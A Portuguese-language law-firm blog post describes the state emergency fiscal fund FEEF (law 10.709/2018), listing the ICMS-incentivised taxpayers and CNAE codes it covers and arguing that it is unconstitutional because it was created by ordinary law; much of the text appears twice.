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FEEF (Fundo Emergencial de Estabilidade Fiscal.) | WCAdvocia

FEEF (Fundo Emergencial de Estabilidade Fiscal.)

Fundo criado pela lei 10.709/2018 (lei ordinária), com intuito segundo o governo de melhorar os recursos do Estado em prol da saúde. Inclusive no texto de lei está descrito as respectivas divisões do recurso.
Tal fundo tem a origem de seus recursos nos contribuintes que possui algum tipo de incentivo fiscal do ICMS (Prodei, Prodeic, etc.). Atinge também:
1. Comércio varejista de material de construção que esteja sob a égide da lei 9.480/2010 (consolidada pela lei 10.304/2015).
2. Atacadista do gênero alimentício acobertado pela lei 9.855/2012.
3. Contribuintes que promoverem saídas internas de farelo de soja, com dispensa de recolhimento de ICMS, nos termos do § 2° do art. 581 das disposições permanentes do Regulamento do ICMS, aprovado pelo Decreto nº 2.212, de 20 de março de 2014.
4. Contribuintes que promoverem saídas interestaduais de farelo de soja, com utilização de crédito presumido, nos termos do inciso I do caput do art. 3º do Anexo VI do Regulamento do ICMS, aprovado pelo Decreto nº 2.212, de 20 de março de 2014.
5. Contribuintes que promoverem saídas interestaduais de óleo de soja degomado, com utilização de crédito presumido, nos termos do inciso II do caput do art. 3º do Anexo VI do Regulamento de ICMS, aprovado pelo Decreto nº 2.212, de 20 de março de 2014.
6. Contribuintes que promoverem saídas interestaduais de óleo de soja refinado, com utilização de credito presumido, nos termos do art. 4º do Anexo VI do Regulamento do ICMS, aprovado pelo Decreto nº 2.212, de 20 março de 2014.
7. Contribuintes que promoverem saídas internas de carnes e miudezas comestíveis das espécies bovina, bufalina, suína e de aves frescas, refrigeradas ou congeladas, inclusive charques, com isenção de ICMS prevista no inciso III do caput do art. 2º do Anexo IV do Regulamento do ICMS. (produtos integrantes da cesta básica.)
E ainda os produtos cujo os Cnaes sejam:

I – 1011-2/01: Frigorífico – abate de bovinos;
II – 1041-4/00: Fabricação de óleos vegetais em bruto, exceto óleo de milho; III – 1042-2/00: Fabricação de óleos vegetais refinados, exceto óleo de milho;

IV – 1069-4/00: Moagem e fabricação de produtos de origem vegetal não especificado
V – 1113-5/02: Fabricação de cervejas e chopes; VI – 1122-4/01: Fabricação de refrigerantes;
VII – 2320-6/00: Fabricação de cimento; VIII – 3104-7/00: Fabricação de colchões;
IX – 4753-9/00: Comércio varejista especializado em eletrodomésticos e equipamentos de áudio e vídeo.
Observa-se, que estão esclusas as empresas que ainda contendo tais CNAES estejam no Simples Nacional, ressalta também que as pequenas cervejarias também estão esclusas da obrigação. Observa que será considerada pequenas cervejarias as que se limitam a fabricação de quantia inferior a 6.000.000 de litros anos.
Elenca com certa precisão os percentuais e as respectivas distribuição por força da gestão do fundo.
A lei entra em vigor na data de sua publicação e passar a valer a partir de 1º de julho de 2018 e será regulamentada por decreto do poder executivo (1.563/2018).
Das observações feitas sobre a constitucionalidade.

De acordo com o artigo 165, §9º, II da Constituição da República bem como no artigo 45 da Constituição Estadual em seu inciso I, necessário colacionar.
Artigo 165 CF: – “lei de iniciativa do poder executivo estabelecerão: (…)
§9º – Cabe a lei complementar:

I – (…)

II – “estabelecer normas de gestão financeira e patrimonial da administração direta e indireta, bem com condições para instituição e funcionamento de fundos.”
FEEF (Fundo Emergencial de Estabilidade Fiscal.)

Fundo criado pela lei 10.709/2018 (lei ordinária), com intuito segundo o governo de melhorar os recursos do Estado em prol da saúde. Inclusive no texto de lei está descrito as respectivas divisões do recurso.
Tal fundo tem a origem de seus recursos nos contribuintes que possui algum tipo de incentivo fiscal do ICMS (Prodei, Prodeic, etc.). Atinge também:
1. Comércio varejista de material de construção que esteja sob a égide da lei 9.480/2010 (consolidada pela lei 10.304/2015).
2. Atacadista do gênero alimentício acobertado pela lei 9.855/2012.
3. Contribuintes que promoverem saídas internas de farelo de soja, com dispensa de recolhimento de ICMS, nos termos do § 2° do art. 581 das disposições permanentes do Regulamento do ICMS, aprovado pelo Decreto nº 2.212, de 20 de março de 2014.
4. Contribuintes que promoverem saídas interestaduais de farelo de soja, com utilização de crédito presumido, nos termos do inciso I do caput do art. 3º do Anexo VI do Regulamento do ICMS, aprovado pelo Decreto nº 2.212, de 20 de março de 2014.
5. Contribuintes que promoverem saídas interestaduais de óleo de soja degomado, com utilização de crédito presumido, nos termos do inciso II do caput do art. 3º do Anexo VI do Regulamento de ICMS, aprovado pelo Decreto nº 2.212, de 20 de março de 2014.
6. Contribuintes que promoverem saídas interestaduais de óleo de soja refinado, com utilização de credito presumido, nos termos do art. 4º do Anexo VI do Regulamento do ICMS, aprovado pelo Decreto nº 2.212, de 20 março de 2014.
7. Contribuintes que promoverem saídas internas de carnes e miudezas comestíveis das espécies bovina, bufalina, suína e de aves frescas, refrigeradas ou congeladas, inclusive charques, com isenção de ICMS prevista no inciso III do caput do art. 2º do Anexo IV do Regulamento do ICMS. (produtos integrantes da cesta básica.)
E ainda os produtos cujo os Cnaes sejam:

I – 1011-2/01: Frigorífico – abate de bovinos;
II – 1041-4/00: Fabricação de óleos vegetais em bruto, exceto óleo de milho; III – 1042-2/00: Fabricação de óleos vegetais refinados, exceto óleo de milho;

IV – 1069-4/00: Moagem e fabricação de produtos de origem vegetal não especificado
V – 1113-5/02: Fabricação de cervejas e chopes; VI – 1122-4/01: Fabricação de refrigerantes;
VII – 2320-6/00: Fabricação de cimento; VIII – 3104-7/00: Fabricação de colchões;
IX – 4753-9/00: Comércio varejista especializado em eletrodomésticos e equipamentos de áudio e vídeo.
Observa-se, que estão exclusas as empresas que ainda contendo tais CNAES estejam no Simples Nacional, ressalta também que as pequenas cervejarias também estão exclusas da obrigação. Observa que será considerada pequenas cervejarias as que se limitam a fabricação de quantia inferior a 6.000.000 de litros anos.
Elenca com certa precisão os percentuais e as respectivas distribuição por força da gestão do fundo.
A lei entra em vigor na data de sua publicação e passar a valer a partir de 1º de julho de 2018 e será regulamentada por decreto do poder executivo (1.563/2018).
Das observações feitas sobre a constitucionalidade.

De acordo com o artigo 165, §9º, II da Constituição da República bem como no artigo 45 da Constituição Estadual em seu inciso I, necessário colacionar.
Artigo 165 CF: – “lei de iniciativa do poder executivo estabelecerão: (…)
§9º – Cabe a lei complementar:

I – (…)

II – “estabelecer normas de gestão financeira e patrimonial da administração direta e indireta, bem com condições para instituição e funcionamento de fundos.”

Neste ponto a CF faz remissão para o ADCT artigo 71, §1º, cujo é a exceção de criação de fundos por lei ordinária. Acredto que neste ponto se encontra uma divergência de entendimento por parte dos autores da lei em questão.
Artigo 45 da CE – “As leis complementares serão aprovadas por maioria absoluta dos membros da Assembleia Legislativa e receberão numeração distinta das leis ordinárias.”
Parágrafo único – “Serão regulados por lei complementar, entre outros casos previstos nesta Constituição:”
I – “Sistema Financeiro e Tributário do Estado;”

Então diante destas humildes colocações estão abertas as discussões sobre constitucionalidade do tributo em questão.

Neste ponto a CF faz remissão para o ADCT artigo 71, §1º, cujo é a exceção de criação de fundos por lei ordinária. Acredito que neste ponto se encontra uma divergência de entendimento por parte dos autores da lei em questão.
Artigo 45 da CE – “As leis complementares serão aprovadas por maioria absoluta dos membros da Assembleia Legislativa e receberão numeração distinta das leis ordinárias.”
Parágrafo único – “Serão regulados por lei complementar, entre outros casos previstos nesta Constituição:”
I – “Sistema Financeiro e Tributário do Estado;”

Deste modo, até  o presente momento posso afirmar que tal exação é inconstitucional, mas não será apenas essa análise, continuaremos à analisar do ponto de vista do CONFAZ (Conselho Nacional Fazendário).

na semana que vem publicaremos sobre o “incentivo”

continua…

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